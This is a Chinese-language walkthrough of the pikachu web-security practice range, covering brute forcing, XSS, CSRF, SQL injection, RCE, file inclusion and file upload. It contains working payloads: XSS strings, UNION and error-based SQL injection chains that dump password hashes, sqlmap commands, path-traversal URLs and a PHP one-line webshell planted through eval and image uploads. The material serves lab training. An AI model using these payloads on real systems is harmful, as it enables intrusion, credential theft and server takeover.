pikachu靶场通关

pikachu

一、暴力破解

image-20240409225636584

狙击手:一个变量,一个字典

撞击物:可以一个或多个变量,但是只有一个字典,爆破时,这些变量被替换为同一个值

交叉:多个变量,多个字典,一个变量对应一个字典,字典里的数据也一一对应

image-20240409230228162

集束炸弹:与交叉类似,但是可以实现交叉配对的组合,出现很多不同的组合

image-20240409230426995

1.1基于表单的暴力破解

已知用户名

image-20240409223357893

image-20240409223420710

image-20240409223607553

未知用户名

image-20240409225442588

两个字典

image-20240409225507880

设置Grep-match选项,用于作为是否暴力破解的条件,条件一般为失败的条件

1.2.验证码绕过

服务器端认证(on server)
不安全验证码-on server常见问题

1.验证码在后台不过期,可以长期被使用

2.验证码校验不严格,逻辑出现问题

3.验证码设计的太过简单和有规律,容易被猜解

此题原理:由于未销毁session的验证码,导致验证码不用刷新,就可以进行爆破

验证是否有该漏洞的方法:

直接输入正确和错误的二维码后会有两种结果

1.正确输入验证码:提示用户名或密码错误

image-20240520224745611

2.错误输入验证码:提示验证码错误

image-20240520225135051

这里查看后端代码:pikachu也提示错误点

image-20240520225234645

下面开始爆破演示:

image-20240520231026180

image-20240520231330031

image-20240520231134927

image-20240520230948403

image-20240520231209232

image-20240520231817886

长度不同的就是密码和用户名

客户端认证(on client)
不安全验证码-on client常见问题

①使用前端js实现验证码(纸老虎)

②将验证码在cookie中泄露,容易被获取

③将验证码在前端源代码中泄露,容易被获取

本题原理:后端未对前端数据包进行二次验证验证码,导致可以删除验证码提交

多次重放:

image-20240529104635311

可以发现验证码可以多次使用

删除验证码的重放:

image-20240529104924283

一样可以响应,说明这个验证码根本没有用处,接下来直接爆破即可

image-20240529104853529

1.3token防爆破?

网上搜到的token作用:

Token一般用在两个地方:

  • 1)防止表单重复提交、
  • 2)anti csrf攻击(跨站点请求伪造)。

但是其实token只能防止csrf攻击,并不能防止表单重复提交爆破。

第一次提交表单:

image-20240529220240739

重放第二次:

image-20240529220131920

提示token错误,也就是过期了

查看源码:每次都重新创造了新的token

image-20240529220422514

这里爆破原理就是在提交的表单里同时进行token更新操作。

image-20240529220847130

image-20240529221339564

用鼠标将那一串数字勾出来

image-20240529221710124

不知道是不是中文版的原因,现场设置线程为一时,会报错,直接设置里面创建一个线程

image-20240529222245930

开始爆破

image-20240603220429249

二、Cross-Site Scripting(XSS)

2.1反射型xss(get)

很容易发现这个输入框有字符长度限制

两种方法:

1.F12后修改前端字符长度限制

image-20240603222129192

直接输入

<script>alert(1);</script>

image-20240603221705030

2.用get方式来直接提交上去

image-20240603222236739

2.2反射性xss(post)

第二关考的一是暴力破解,第二层才是XSS,点提示直接登录,将第一关payload直接输入即可

2.3存储型xss

这一关目的是让我们认识到存储型xss的危害,将第一关payload输入之后,即使退出网站,再一次点击该链接,也会弹窗

2.4DOM型xss

本地执行,不对网站服务器发起请求

客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。

image-20240722181643430

注意代码含义,将我们输入的内容拼接在str的部分

'onclick=alert(1)>

或者:

' onmouseover="alert('xss')">

进行拼接后:

<a href='' onclick=alert(1)>'>what do you see?</a>
<a href='' onmouseover="alert(‘xss’)">'>what do you see?</a>

image-20240722182134040

2.4.1DOM型xss-x

和上面一样,只不过这次可以直接从url输入,也可以和上面一样

image-20240724092531170

2.5xss盲打

这题就是展示一下用户登录后台触发的情况,没有什么大的技术含量

直接输入payload

<script>alert(/xss/)</script>

构成闭合,直接登录后台

2.6xss之过滤

输入payload之后,没有弹窗

image-20240724101328480

这时候应该尝试一下过滤了哪些字符

但是我们本地搭建的网站可以直接查看后端代码,找到pikachu路径搜索即可

image-20240724103231744

image-20240724103201712

这里根据注释我们可以直接知道过滤了**<script**(没有注释,也是要学习代码审计,看出来含义)

这里的preg_replace过滤方式是依次比较字符串,注意观察下方的区别

image-20240724183938163

image-20240724184006440

我们可以根据大小写不敏感,大小写拼凑出payload

<SCRiPt>alert(1);</scrIPt>

我们采用不带有<script的payload

<img src=x onerror=prompt(1);>

可以触发弹窗

2.7xss之htmlspecialchars

尝试哪些被过滤了

' " script  javascript alert() <>

image-20240724191757119

" < >这三个符号被过滤了

但是我们输入的内容在标签的href属性里

可以使用javascript协议,或者不使用上面三个符号的

payload:

'onclick=alert(1);//这里后端用的单引号括住的输入内容才可以使用(无论后端是什么引号,在前端看来都是双引号)
javascript:alert(1);

image-20240725162159931

2.8xss之href输出

尝试上面的第一个payload,发现单引号也被过滤了,那就只能用javascript协议了

image-20240725165443312

image-20240725162440484

2.9xss之js输出

直接输入一下测试代码,查看源码

image-20240725165714080

发现没有任何过滤,直接拼接,那么我们把这个

payload

</script> <script>alert(1)</script>

三、CSRF

1.概述

总结一下pikachu的:

CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,(点击链接,利用用户的cookie进行修改信息,黑客并不知道cookie)

XSS是直接盗取到了用户的权限,然后实施破坏(点击后直接得到cookie)

2.get

顾名思义,是能够直接利用get方式进行的csrf

可以直接在url里构造我们想要改变的数据

点击提示,任意登录一个账号

image-20240725200458024

直接抓包

image-20240725200530709

直接将后面的信息修改,比如将phonenum修改为11111

就可以构造以下链接,欺骗用户点击,如果cookie没有过期就会直接被修改

http://localhost/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=xcvb&phonenum=11111&add=bhn&email=vcbn&submit=submit

3.post

这个也顾名思义,自己制作表单,在自己的网站上诱导用户点击链接,就可以向存在csrf的网站提交申请,修改个人信息。

我们可以利用burpsuit直接快速制造表单

抓包后,点击csrf poc

image-20240726100329184

可以直接快速修改body,比如修改性别为xcvb

image-20240726100453293

image-20240726100730573

复制之后,自己新建一个html文件,粘贴进去,保存后,用火狐打开

image-20240726101011026

点击按钮即可修改。

4.token

因为有token的存在,抓包可以看到token,只要用户刷新页面,token随之刷新,csrf攻击也就不存在了

image-20240726101447167

但是burpsuit的插件可以自动识别更新token,下载插件

image-20240726154647396

下载后可以直接在主页面找到这个板块,新建一个规则:将站点和pikachu靶场中的Token变量名称(token)加入(值不用添加,进行重放时会自动更新)

image-20240726154824837

将数据包发到重放器中,修改值,进行重放,攻击成功(每次重放之后,上面token的值都会改变)

四、SQL注入

0.1判断是否存在注入点:

#判断如下闭合方式是否会报错,会报错则肯定存在注入
1'                         
1"                         
#若不报错则判断是否存在布尔盲注,如果页面会有不同的显示在可能存在漏洞
1' and -1=-1 or '
1' and -1=-2 or '  
         
1" and -1=-1 or "
1" and -1=-2 or "

输入1’返回错误就有注入点,无论字符型还是整型都会因为单引号个数不匹配而报错。

sql注入漏洞通常有两种:数值型与字符型(数值型有时候只有数字选项,可以用burp抓包)

输入1’ and 1=1#不报错,输入1’and 1=2#(判断不可以用-1,不然默认为假(查不到),什么也不返回)

第二条语句报错,就是数值型

第二条语句不报错就是字符型

0.2如何判断数字型或字符型注入:判断后台语句引号是否存在

采用payload:

1'#

1.数字型后台代码:

select * from users where id =1'#

语法错误,报错。

image-20240728213327139

2.字符型后台代码:

select * from users where id ='1'#

语法正确,不报错。

image-20240728213720837

0.3如果是字符型,要判断闭合方式:(数值型不需要)

常见的闭合方式有成对的' '” “( )

以及其他的组合类似于(' ')这种

判断具体是哪种,有两种方法

方法1:(浅薄的报错注入知识)
首先我们可以使用\(转义字符)来判断SQL注入的闭合方式(可以根据报错信息来判断):看\斜杠后面跟着的字符,是什么字符,它的闭合字符就是什么,若是没有,就为数数值型。

方法2:只能挨个试

首先尝试:
?id=1’
?id=1”
结果一:如果都报错
判断闭合符为:整形闭合(数值型)。

结果二:如果单引号报错,双引号不报错。
继续尝试
?id=1’ –-+
结果1:无报错
判断闭合符为:单引号闭合。
结果2:报错
判断闭合符可能为:单引号加括号

结果三:如果单引号不报错,双引号报错。
继续尝试
?id=1" -–+
结果1:结果无报错
判断闭合符为:双引号闭合。
结果2:报错
判断闭合符可能为:双引号加括号

注意:这里的括号不一定只有一个,闭合符里是允许多个括号组合成闭合符的,具体要判段有多少个括号,可以使用二分法来快速判断。

1.数字型注入

查看一下前端源码,post类型,不能使用get方式注入了,采用burp进行抓包

image-20240728201757052

抓包后发送到重放器

根据0的知识点,判断是数字型后。

探测注入点

id=1 and 1=1#

成功返回了1所对应的用户,说明and 1=1#语句成功生效了(不生效就是查找1 and 1=1#,明显是找不到的)

找到注入点就开始流程:

1.判断字段数
-1 order by 1#

-1 order by n#…(只要没报错说明没有第n列,可以推出一共有(n-1)列)

当试到

-1 order by 3#

image-20240728224400543

报错,说明有两个字段

2.显位

联合查询,探测显示位置有几个

image-20240728224022182

image-20240728224014277

image-20240728224127030

三个会报错,所以显位有两个

3.爆库

在第二个显位返回查询结果

爆出所有库名:

-1 union select 1,group_concat(schema_name) from (information_schema.schemata) #  

image-20240728225513839

只显示当前数据库名称:

-1 union select 1,database() #  

image-20240728225554102

group_concat():将查询的结果合并到一行

information_schema:Mysql自带的数据库,保存了其他所有的数据库信息

schemata:information_schema数据库的一个表

4.爆表

需要注意的是,where后面的数据库名称必须是目的数据库的

-1 union select 1,group_concat(table_name) from (information_schema.tables) where table_schema='pikachu'#  

image-20240728225817685

5.爆列(字段)

表也是目标表

-1 union select 1,group_concat(column_name) from (information_schema.columns) where table_name='users'and table_schema='pikachu'#

image-20240728230259275

6.爆值
id=-1 union select 1,group_concat(`id`,':',`username`,':',`password`) from pikachu.users #

id,password是目标值,from后是目标表

image-20240728231616706

md5转换后的密码,使用这个网站https://www.cmd5.com/

image-20240729184144106

2.字符型注入

数字型步骤写的很明白了,这里直接放payload

1.探测注入点为 ’

2.查看字段数:

1'order by 3#

字段数为2

3.显位**

1'union select 1,2,3#

显位为2

4.爆库

-1'union select 1,database()#

数据库为pikachu

5.爆表

-1'union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#

image-20240729161453509

查到一个表users

6.爆列

-1'union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'#

image-20240729183506401

7.爆值

-1'union select 1,group_concat(`id`,':',`password`) from pikachu.users #

image-20240729184248857

同样采用md5解密即可

关于注释符号的一些理解:

pikachu使用的数据库类型是MySQL
单独拿MySQL数据库来说,直接采用#可以更省心,但是还有很多数据库是不支持#的,-- 是所有数据库都有的注释方式

这里的注释如果直接--,源码后面拼接的语句是 --%',导致注释效果失效
但是如果是-- ',多一个空格的话,就可以注释生效。
还有一种情况--也可以注释成功,--后面跟的是一条没有语法错误的语句,后面的语句也会被注释成功
例如上面这种情况
' and 1=1 --'
拼接后
$sql = "select * from user where password like '%' and 1=1 --'%' order by password";
没有空格,注释也是生效了。

为什么不能是--+
因为空格只有在url里传参才会被编码成+,但是我们如果在文本框中直接输入,+会原原本本的被解释成它所对应的编码
所以只有在url传参的时候,--+才有用

3.搜索型注入

与上面两种类似,都是开发人员没有注意过滤导致的,

这是获取我们输入变量的语句

$sql = "select * from user where password like '%$pwd%' order by password";

**‘$pwd%’**是我们能输入的地方

1.采用payload寻找注入点

' and 1=1 #

成功找到注入点

2.判断字段数

-1' order by 4 #

报错,字段数位为3

3.显位

-1' union select 1,2,3,4#

显位为3

image-20240730091512025

4.爆库

全部库

-1' union select 1,2,group_concat(schema_name) from (information_schema.schemata) #   

当前库

-1' union select 1,2,database() #  

爆出pikachu

5.爆表

-1' union select 1,2,group_concat(table_name) from (information_schema.tables) where table_schema='pikachu'#

爆出users

6.爆列

-1' union select 1,2,group_concat(column_name) from (information_schema.columns) where table_name='users' and table_schema='pikachu'#

爆出id和password

7.爆值

-1' union select 1,2,group_concat(id,':',password) from pikachu.users #

爆出id和密码,md5解密即可

4.xx型注入

和上面没有什么大的区别,只是闭合符号从**‘‘变成了(’’)**

按步骤来就行

5."insert/update"注入(报错注入)

insert:注册时的注入

update:修改个人信息的注入

这里只对insert进行讲解,insert方式是抓的注册包,update方式是抓的包是修改信息包,注入方式都一样

post型注入

image-20240730094311419

抓包:

image-20240730094721901

可以看到,没有回显,尝试报错注入。

尝试在username里输入

'

触发报错

image-20240730094909462

注意到pssword的闭合符号可能是:(‘’)

在username里输入

')

image-20240730121412050

发现只是md5转换的括号,还是一般的’'闭合

这是后台代码(输入全是1),验证一下

insert into member(username,pw,sex,phonenum,email,address) values('1',md5('1'),'1','1','1','1');

没有问题

下面有三种报错注入函数

1.group by 重复键冲

直接套用:

and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) or'

但是新版的mysql即8.x已经不适用这个floor让group by重复的这个报错注入了

2.updatexml()

payload:

1.爆库
1' and updatexml(1,concat('~',(database()),'~'),1) or'

image-20240730220549196

2.爆表
1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),'~'),1) or'

image-20240730220639505

发现后面有未显示的字符,因为updatexml()函数最多显示32个字符,可以采用

1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,32),0x7e),1)or '

0x7e是~的编码

修改开始位数

1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,32),0x7e),1)or '

image-20240730222247298

进行拼接即可得到所有表

3.爆列
1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,32),0x7e),1)or '

image-20240730222725043

4.爆值
1' and updatexml(1,concat(0x7e,substr((select group_concat(id,':',password) from pikachu.users),1,32),0x7e),1)or '

image-20240730223108638

同样是字符长度,

1' and updatexml(1,concat(0x7e,substr((select group_concat(id,':',password) from pikachu.users),32,32),0x7e),1)or '

得到所有密码,md5解密即可

3.extractvalue()

与updatexml()最大的区别就是有2个参数,updatexml()有三个

这里只对updatexml的爆库语句修改,剩余的照猫画虎即可

1' and extractvalue(1,concat('~',(database()),'~')) or'
关于or和and的一些区别j

这里在多次实验之后发现了一种特殊的or和and语句的区别,可能会导致报错注入失效

下面这两种payload都可以实现报错注入

1' or updatexml(1,concat('~',(database()),'~'),1) or'
1' and updatexml(1,concat('~',(database()),'~'),1) or'

但是当or后面的语句过长时,就会产生只判断or前面是否为真,而放弃后面的语句(类似于c语言的**|**符号,当前面的条件为真时,自动放弃判断后面的条件)

比如:

1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or'
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or'

第一个payload就失效了,但是第二个还是可以用。

value():为什么不用注释符号了,而是去闭合单引号

因为**values()**这个函数的特殊性,如果采用注释符号代码就是这样:

insert into member(username,pw,sex,phonenum,email,address) values('  1'#  ',md5('1'),'1','1','1','1');

values()函数后面的)也被注释掉了,会使报错注入优先级低于values的报错

从而产生我们不想要的报错

那么我们把括号补上行不行呢?

比如:

insert into member(username,pw,sex,phonenum,email,address) values('  1')#  ',md5('1'),'1','1','1','1');

也不可以,因为values前面的设置的参数有6个,括号里面也必须有6个值

除非构造类似这样的payload:

1','1','1','1','1','1'); 

拼接后

insert into member(username,pw,sex,phonenum,email,address) values('1','1','1','1','1','1');  #,md5('1'),'1','1','1','1');

将6个值全部凑齐,才能产生报错注入,但是没必要多此一举,直接采用or '可以更省事

insert into member(username,pw,sex,phonenum,email,address) values('1' or '',md5('1'),'1','1','1','1');

6.delete注入

delete注入产生原因是因为在某些删除页面,会对用户id传送到后台,如果没有对id进行过滤,就会产生delete注入

我们随便输入一些文字进去,抓删除的包

image-20240731092644584

发送到重放器,对id传参部分进行报错注入即可(注意:由于是get方式传参,必须要编码之后进行注入,不然会400警告语法错误)

url编码网站:https://www.toolhelper.cn/EncodeDecode/Url

或者直接在burp中快捷键转换ctrl+u,为了防止出错,下面的payload都是转换过的

数字型报错判断:

image-20240731095123414

image-20240731095103960

由此可以推测,原本的sql后台语句是不带有引号的,所以是数字型注入

爆库

%23是#的url编码

1+and+extractvalue(1,concat('~',(database()),'~'))%23

image-20240731100008339

爆表

1+and+updatexml(1,concat(0x7e,substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3d'pikachu'),1,32),0x7e),1)%23

image-20240731100048193

这里只显示32位,参数数字要修改,才能查看后面的字符

1+and+updatexml(1,concat(0x7e,substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3d'pikachu'),32,32),0x7e),1)%23

image-20240731095948066

爆列

1 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,32),0x7e),1)#

image-20240731100423954

爆值

1 and updatexml(1,concat(0x7e,substr((select group_concat(id,':',password) from pikachu.users),1,32),0x7e),1)#

image-20240731100511447

剩余位数也是利用substr函数修改参数进行查看

7.http头注入

网上查到解释:

User-Agent注入:

User-Agent:使得服务器能够识别客户使用的操作系统,浏览器版本等。(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等然后将其存入数据库中)。这里获取User-Agent就可以知道客户都是通过什么浏览器访问系统的,然后将其值保存到数据库中。

测试方法:在User-Agent参数后面添加一个单引号

image-20240731101730983

探测到注入点就可以直接开始报错注入了,因为是字符型报错注入,直接看前面的updatexml()部分的payload即可

' and updatexml(1,concat('~',(database()),'~'),1) or'

为什么不用#

源代码用了values()函数

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

cookie注入:

cookie:服务器端用来记录客户端的状态。由服务端产生,保存在浏览器中。

探测到注入点,就和上面一样了

image-20240731102258161

Referer注入:

Referer:是HTTP header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

探测到注入点,就和上面一样了,但是piakchu靶场没有这个注入点

image-20240731102518572

8.布尔盲注

适用于只返回成功和失败两种情况的页面

要知道其中的一个用户名,来判断是否有注入点

vince' and 1#

返回正常,确定有注入点

image-20240731105707571

判断数据库类型:

//判断是否是 Mysql数据库
vince' and exists(select*from information_schema.tables) -- a
//判断是否是 access数据库
vince' and exists(select*from msysobjects) -- a
//判断是否是 Sqlserver数据库
vince' and exists(select*from sysobjects) -- a

判断长度

vince' and length( 查询语句 )=1 #	
vince' and length(database())=1 #	

1一个一个加,判断当前数据库长度

vince' and length(database())=7 #

image-20240731110102993

枚举字符

vince' and ascii(substr( 查询语句 ,1,1))=32 #

由于过程太过繁琐这里推荐一个博客,可以去这里看看https://blog.csdn.net/qq_44159028/article/details/114325805

这里我们采用sqlmap进行注入(看时间盲注,操作一样)

9.基于时间的盲注

时间盲注优先级不高,只有在

页面没有回显位置:联合查询注入失效

页面不返回报错结果:报错注入失效

不管输入是否正确页面都只返回一个结果:布尔盲注失效

才会使用时间盲注,时间盲注和布尔盲注很像,布尔盲注判断依靠页面返回结果,时间盲注依靠页面加载时间

sleep,if函数

sleep()函数是让程序暂停的函数,sleep(2)就是让程序暂停两秒

if()函数:if有三个参数:if(x,a,b),如果x为真,返回a,x为假,返回b。

1.判断注入点

vince' and if(1,sleep(2),1) #
vince" and if(1,sleep(2),1) #
还有(''),("")
等闭合类型。。。

这里尝试过1’ and if(1,sleep(2),1) #,但是都会失败,好像盲注必须要有正确的可以被查到的用户名才可以进行(有大佬知道原因请告知)

2.进行sqlmap注入

1.检测注入点

python sqlmap.py -u "URL"

image-20240811130917545

2.爆库

python sqlmap.py -u "URL" --dbs

image-20240811130741251

image-20240811131028738

3.爆表

python sqlmap.py -u "URL" -D 库名 --tables

image-20240811132012822

image-20240811132447357

4.爆列

python sqlmap.py -u "URL" -D 库名 -T 表名 --columns

image-20240811133045981

image-20240811133029140

5.爆值

python sqlmap.py -u "URL" -D 库名 -T 表名 -dump

image-20240811133324561

image-20240811133250835

10.wide byte注入(宽字节注入)

宽字节注入需要自行构造payload之前的注入点

并且联合post型的sqlmap命令

image-20240811135652919

python sqlmap.py -u "localhost/pikachu-master/vul/sqli/sqli_widebyte.php" --data="name=kobe%df'&submit=%E6%9F%A5%E8%AF%A2" -dbs

后面就是一样的命令了

这里有原理

https://blog.csdn.net/weixin_43819747/article/details/136391897

五、RCE

pikachu上的部分概述:

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。然而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

我个人感觉,rce和sql注入原理差不多,只不过sql注入的是数据库,rce的是服务器(通过拼接命令使漏洞被利用)

前言,这里pikachu回显页面是乱码,在后台php文件进行修改,如图:

这里有相关知识介绍

rce介绍原理

管道符介绍文章

1.exec “ping”

ping一下自己的主机

image-20240815153722006

尝试一下简单管道符&&

管道符介绍文章

2.exec “eval”

eval函数将我们输入的字符串当作php文件执行了,导致漏洞产生

可以采用

phpinfo();

探测注入点,可以发现回显了信息

image-20240817095815695

这时候就可以写入一句话木马,通过木马访问信息。

注意:这里将火绒或其他防火墙关掉,不然会杀死我们的木马

payload:

fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]);?>');

fopen()函数:以写入(w)的方式打开一个名叫shell.php的文件,如果没有这个文件,就创建这个文件。

fputs()函数:在第一个参数的文件里,写入后面的字符串内容

这句木马的含义就把<?php @eval($_POST[123456]); ?>写入到我们创建的shell.php中

拼接后的内容就是这样的:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]);  ?>' ); ?>

查看对应文件发现了我们的shell.php文件

image-20240817155320220

image-20240817155533082

使用蚁剑连接

image-20240817155447227

image-20240817155454778

六、File Inclusion

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:

1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击者更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。

**漏洞原理:**与SQL注入类似,都是将代码上传,使对应服务器执行代码。

**漏洞产生原因:**include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来,如果网站有文件包含漏洞,jpg文件就可以被当作php文件进行解析。

1.本地文件包含

本地文件包含漏洞一般只能查询一下该网站的系统敏感信息,危害性不大,不过配合文件上传漏洞上传的webshell(相当于了本地文件)一起进行,可以产生更大的危害。

如何判断是否有该漏洞

当看到url里有类似这种文件.php或者其他语言的文件名后缀时,说明可能有这种漏洞

image-20240818133504237

那么我们把所有的球星都尝试一遍,观察一下url的变化,可以发现filename=file后面的数字在改变

1.查看隐藏文件

可以尝试读取一下有没有多的隐藏文件,这些隐藏文件里可能含有信息

手工爆破过于丑陋,采用burpsuit进行爆破

抓包发到Intruder,加入payload点

image-20240819150334123

设置爆破范围

image-20240819150608848

开始爆破,发现6的长度不一样,查看放回页面

image-20240819150717027

image-20240819150759610

可以看到有对应的账号密码信息在里面。

2.查看系统文件

这里根据我们上面的爆破时的无法访问的数据,可以知道是windows系统,也发现了include()函数(漏洞产生的原因)

image-20240819153338294

注意,这里include网站包含路径里面有include/,那么因为我们如果使用绝对路径,无论是什么地址,一开始肯定是不会有/的,所有绝对路径不能采用,

这里可以依靠相对路径采取读取手段

解释绝对路径和相对路径

windows系统肯定有的文件是C:\Windows\win.ini(已知文件),但是我这里把pikahu放在了E盘的下面,所有无法进行查询,但是可以查询E盘已知的文件名,比如我查询1.txt文件

image-20240819154826671

payload:

http://localhost/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../../../1.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

image-20240819155123040

发现读取成功

3.结合文件上传的webshell

这里涉及到了文件上传,可以去下面先学学文件上传。

文件上传的最后板块会结合文件包含的过程。

2.远程文件包含

image-20240819172729641

这里需要修改一下配置文件,我们在对应小皮面板路径下修改(修改你自己的路径)

如果找不到自己的路径,可以去rce界面

image-20240819175034615

image-20240819175112481

就看见了。

这里也可以进行本地包含文件漏洞,但是不多做演示了,和上面一样

那么开始采用远程注入:

这里先将php支持的伪协议摆在这里

image-20240819194445137

上面用法里的,等号前面的file是网站的传参参数,比如pikachu就是filename

下面采用file://协议以及php://input协议进行演示,其他的根据file://协议照猫画虎或者看用法。

1.file://

在我们本地创建一个txt文件(这里任何后缀名都可以,因为php会不论类型的执行php代码)

image-20240819200030142

这里的phpinfo()可以换成任何代码,包括我们的一句话木马之类的,不演示连接webshell了,具体过程参考rce的蚁剑连接

payload:

http://localhost/pikachu-master/vul/fileinclude/fi_remote.php?filename=file://C:/Users/LC999/Desktop/webshell.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

这里的文件地址是我们本地的,将地址复制粘贴即可(注意去掉引号和修改斜杠)

image-20240819200318838

2.php://input

该协议需要post传参,采用burpsuit抓包

抓包发送到重放器,直接修改即可(这里的phpinfo()可以换成任何代码,包括我们的一句话木马之类的,不演示连接webshell了,具体过程参考rce的蚁剑连接)

image-20240819195601215

七、unsafe filedownload

pikachu描述:

文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。

如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。

此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如…/…/…/etc/passwd),则很有可能会直接将该指定的文件下载下来。从而导致后台敏感信息(密码文件、源代码等)被下载。

这里和文件包含漏洞很相似,都是通过构造路径payload进行下载系统隐私文件

下载一个试试

image-20240819201316732

发现url没有变化,去前端源代码查看

image-20240819201929962

那么从科比下手吧,windows系统肯定有的文件是C:\Windows\win.ini(已知文件),但是我这里把pikahu放在了E盘的下面,所有无法进行查询,但是可以查询E盘已知的文件名,比如我查询1.txt文件。(和文件包含的本地文件包含一样了)

image-20240819203221090

根据网站源代码传参方式以及目录构建payload

http://localhost/pikachu-master/vul/unsafedownload/execdownload.php?filename=../../../../../1.txt

注意下载的php文件和网站上的不一样

下载成功

image-20240819203755965

八、unsafe upfileupload

这一关全部都会回显文件存储路径,这本身就不安全。

1.客户端check

1.借用插件

根据题目名称提示,知道是前端验证,那么我们查看一下前端代码

下面图片的上面有一句提示:一切在前端做的安全措施都是不靠谱的

image-20240820110436889

可以看到是前端js代码,那么我们直接禁用js即可,下载这个插件

image-20240820112539502

下载成功后在url的旁边

image-20240820112626954

禁用js之后,就随便上传文件了。

新建一个php文件,把木马写入上传

<?php @eval($_POST[123]);?>

image-20240820113354254

可以看到木马文件以及保存路径

image-20240820112829014

利用蚁剑连接

image-20240820113705511

2.burpsuit抓包修改后缀

既然前端不让我们上传php,那么这里我们先将php文件后缀改成jpg

image-20240820113958496

上传时前端进行完验证,传输途中我们抓的包

image-20240820114117952

这时候前端验证已经没有了,将jpg改回php,放行包

image-20240820114153864

仍然可以上传成功。

2.服务端check(MIME Type)

题目提示了MIME,MIME type的文件上传漏洞原理就是一个危险函数:upload_sick()

这个函数在后端的检查方式是检测前端发过来的数据包里的:Content-Type类型

产生威胁的原理就是:1.没有重命名文件,防止攻击者猜解。2.只检测Content_Type类型,不对传输的文件内容进行检测和修改

查看后端源码:

image-20240820174152329

第一种方法

检测只依靠了upload_sick(),那么我们只需要上传抓包的时候修改Content-Type即可

image-20240820174010095

第二种方法和前端绕过的第二种一样,也可以上传图片格式的木马,再修改后缀,不再进行演示

3.getimagesize()

读一下代码

在这里插入图片描述

这里上面两种方式(Content-Type,文件后缀)都进行了验证。

由于后台对文件后缀名进行了检测,抓包拦截修改也是需要上传到后台,所以文件名的后缀只能是上面那三种。

根据日期形成文件后调用了uploadfunction里的upload函数

image-20240821100001750

关键函数:

在这里插入图片描述

getimagesize可以被绕过

这里修改了上传文件的名称,防止了攻击者猜测到文件名称,但是页面回显了文件地址,没有用处了。

在这里插入图片描述

但是这里并没有函数对图片进行重构,所以如果图片中含有木马,那么是没办法处理的

打开010对一个随手截下来的图片写入木马(这里火绒没有报错,可能图片马火绒识别不了也有可能因为没有解析php代码)

image-20240821094100807
image-20240821102503210

上传成功

结合文件包含漏洞进行连接:结合原理

文件上传漏洞在绕过内容检测的时候,会制作图片马上传,但是图片马在上传之后,又不能解析。如果网站同时存在文件包含漏洞,利用文件包含无视后缀名,只要被包含的文件内容符合PHP语法规范,任何扩展名都可以被PHP解析的特点来解析上传的图片马。

那么我们可以通过有文件包含漏洞的路径进行构造payload

这里的核心知识还是文件包含,所以需要利用文件包含路径下的传值方式,filename只是提供文件地址,不能利用文件上传的连接webshell方式。

http://localhost/pikachu-master/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2024/08/21/31208666c55425aaeae354349403.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

